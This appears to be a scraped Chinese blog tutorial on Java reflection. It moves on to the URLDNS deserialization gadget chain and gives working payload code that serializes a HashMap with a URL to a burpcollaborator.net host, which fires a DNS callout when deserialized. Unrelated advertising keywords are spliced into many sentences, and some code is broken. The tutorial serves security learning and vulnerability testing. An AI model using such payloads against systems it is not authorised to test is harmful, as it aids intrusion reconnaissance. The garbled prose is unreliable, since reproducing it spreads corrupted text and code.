您现在的位置是:人工智能 >>正文
实例解析Java反射,你会了吗?
人工智能9158人已围观
简介反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。什么是反 ...
反射是实例大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的解析类,类可以通过反射拿到所有方法(包括私有),反射拿到的实例方法可以调用 ,总之通过“反射” ,解析我们可以将Java这种静态语言附加上动态特性。反射
什么是实例反射java的反射是指在运行状态中 ,对于任意一个类都能够知道这个类所有的解析属性和方法,并且对于任意一个对象。免费模板反射
基本形式 复制public void execute(String className,实例 String methodName) throws Exception { Class clazz = Class.forName(className);clazz.getMethod(methodName).invoke(clazz.newInstance());}1.2.3.4.上面的例子中 ,我演示了几个在反射里极为重要的解析方法:获取类的方法 : forName实例例化类对象的方法 : newInstance获取函数的方法 : getMethod执行函数的方法 : invoke 。
反射的反射作用 :让Java具有动态性,修改已有对象的实例属性 ,动态生成对象,解析动态调用方法,反射操作内部类和私有方法。
在反序列化漏洞中的亿华云应用
定制需要的对象 ,通过invoke调用除了同名函数以外的函数,通过class类创建对象 ,引入不能序列化的类。
java反射举例此处引用白日梦组长的例子 ,具体讲解一下反射 。
先写一个Person作为我们下面演示的原型类 。
复制public class Person { private String name;public int age;public void act(){ System.out.println("test");}@Override
public String toString() { return "Persion{ " +"name=" + name + \ +", age=" + age +};}public String getName() { return name;}public void setName(String name) { this.name = name;}public int getAge() { return age;}public void setAge(int age) { this.age = age;}public Person() { }public Person(String name, int age) { this.name = name;this.age = age;}}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39. 获取原型类使用forName方法:
复制Class c = Class.forName("Person");1.在此也写一种基于ClassLoader的动态类加载方式 。
复制this.getClass().getClassLoader().loadClass("Person");1. 从原型class里面实例化对象利用构造函数实例化。
复制Constructor constructor = c.getConstructor(String.class,int.class);Person p1 = (Person) constructor.newInstance("abc",22);1.2.我们来逐行写一下分析:
复制Constructor constructor = c.getConstructor(String.class,int.class);这一行是服务器租用为了获取原型类中重载的构造方法
public Person(String name, int age) { this.name = name;this.age = age;}对构造方法进行传参实例化一个对象
Person p1 = (Person) constructor.newInstance("abc",22);我们可以打印一下p1看一下返回结果1.2.3.4.5.6.7.8.9.10.
public
复制Field ageField = c.getField("age");ageField.set(p1,11);1.2.
private
复制Field nameField = c.getDeclaredField("name");nameField.setAccessible(true);nameField.set(p1,"xinyuan");1.2.3.
getMethod 与上面的获取构造函数类似 ,第一个参数是函数名,第二个是传参的类型。
invoke方法第一个传入对象 ,第二个是传入参数值 。

这条链子算是反射的一个简单应用。
利用点URL这个类重写了hashCode方法,模板下载导致在执行hashCode的时候,此利用点不能命令执行 ,但是会请求DNS,所以被用来验证是否存在反序列化漏洞 。
源码如下:


可以看到当我们调用一次hashCode方法 ,他会对传进去的URL对象发起请求,即我们如果去DNSLOG申请一个地址 ,根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作 。
URL这个类实现了java.io.Serializable ,云计算可以进行序列化的操作。

因此,在这里我们可以验证一下我们上面的想法。


这个链子也比较短,比较简单 ,主要是利用HashMap来执行hashCode方法。
HashMap实现了Serializable可以序列化 ,此处注意反序列化时HashMap的readObject方法 。

我们跟进一下hash方法 :

key参数可控,key又是由反序列化的时候生成的香港云服务器。在HashMap中用put传入一个URL的对象,即可在反序列化的时候调用到此方法 ,从而触发整个链子。
有一点需要注意,我们在序列化的时候 ,进行的put传参会修改掉传入的URL对象的hashCode的值 ,因为hashCode值不等于-1 ,从而导致无法正常触发下面的方法 ,即无法触发DNS请求。

同时在正常put传参的时候会执行一次DNS请求,所以我们在put传参之前修改hashCode的值(不为-1就行),传参之后修改hashCode为-1 ,在反序列化的时候就可以正常执行了 。
payload如下 :
复制public static void main(String[] args) throws Exception{ HashMap <URL,Integer> hashMap = new HashMap<>();URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");Class c = u.getClass();//在进行put方法传参之前修改URL对象的hashCode值
Field hashcodeField = c.getDeclaredField("hashCode");hashcodeField.setAccessible(true);hashcodeField.set(u,123);hashMap.put(u,123);//修改URL对象的hashCode值为-1hashcodeField.set(u,-1);serialize(hashMap);}1.2.3.4.5.6.7.8.9.10.11.12.13.14.Tags:
转载:欢迎各位朋友分享到网络,但转载请说明文章出处“信息技术视野”。http://www.bziz.cn/html/893f899098.html
相关文章
线程安全代码到底是怎么编写的?
人工智能大家好,我是小风哥。相信有很多同学在面对多线程代码时都会望而生畏,认为多线程代码就像一头难以驯服的怪兽,你制服不了这头怪兽它就会反过来吞噬你。夸张了哈,总之,多线程程序有时就像一潭淤泥,走不进去退不出 ...
【人工智能】
阅读更多苹果7Plus的使用体验(一部旗舰手机带来的便利与乐趣)
人工智能作为一款备受瞩目的旗舰手机,苹果7Plus以其强大的性能和丰富的功能赢得了众多用户的喜爱。本文将从不同方面介绍使用苹果7Plus的体验,包括外观设计、屏幕显示、摄影功能、性能表现、系统流畅度、电池续航 ...
【人工智能】
阅读更多汪峰碎乐(突破常规,感受独特的碎乐之声)
人工智能汪峰作为中国流行摇滚乐坛的代表人物,他的创作才华和音乐实力一直备受赞誉。近年来,他推出的碎乐作品引发了广泛关注和热议。本文将深入探讨以汪峰碎乐为主题的文章,从不同角度对其创作风格、音乐理念以及影响力进 ...
【人工智能】
阅读更多
热门文章
最新文章
友情链接
- dwg文件手机怎么打开
- 如何使用苹果屏幕镜像进行安装(从零开始教你如何使用苹果屏幕镜像安装Mac系统)
- excel超出设置值显红色的设置教程
- i7-4720HQ(i7-4720HQ的技术特点与应用领域)
- 骁龙821刷Win10教程(轻松将骁龙821打造为一台功能强大的Windows10设备)
- 索泰1070性能评测及用户体验(一款强劲的显卡,为你带来出色的游戏体验)
- 华硕插座(华硕插座品质可靠,稳定供电保障)
- 探索魔甲人一体机的全能之道(揭秘魔甲人一体机的独特功能与设计)
- 了解120gPro(性能出众、拍照优秀、续航强大,让你畅快体验智能科技的魅力)
- nova2plus(性能卓越,拍摄出色) 云服务器香港物理机亿华云网站建设源码库企业服务器b2b信息平台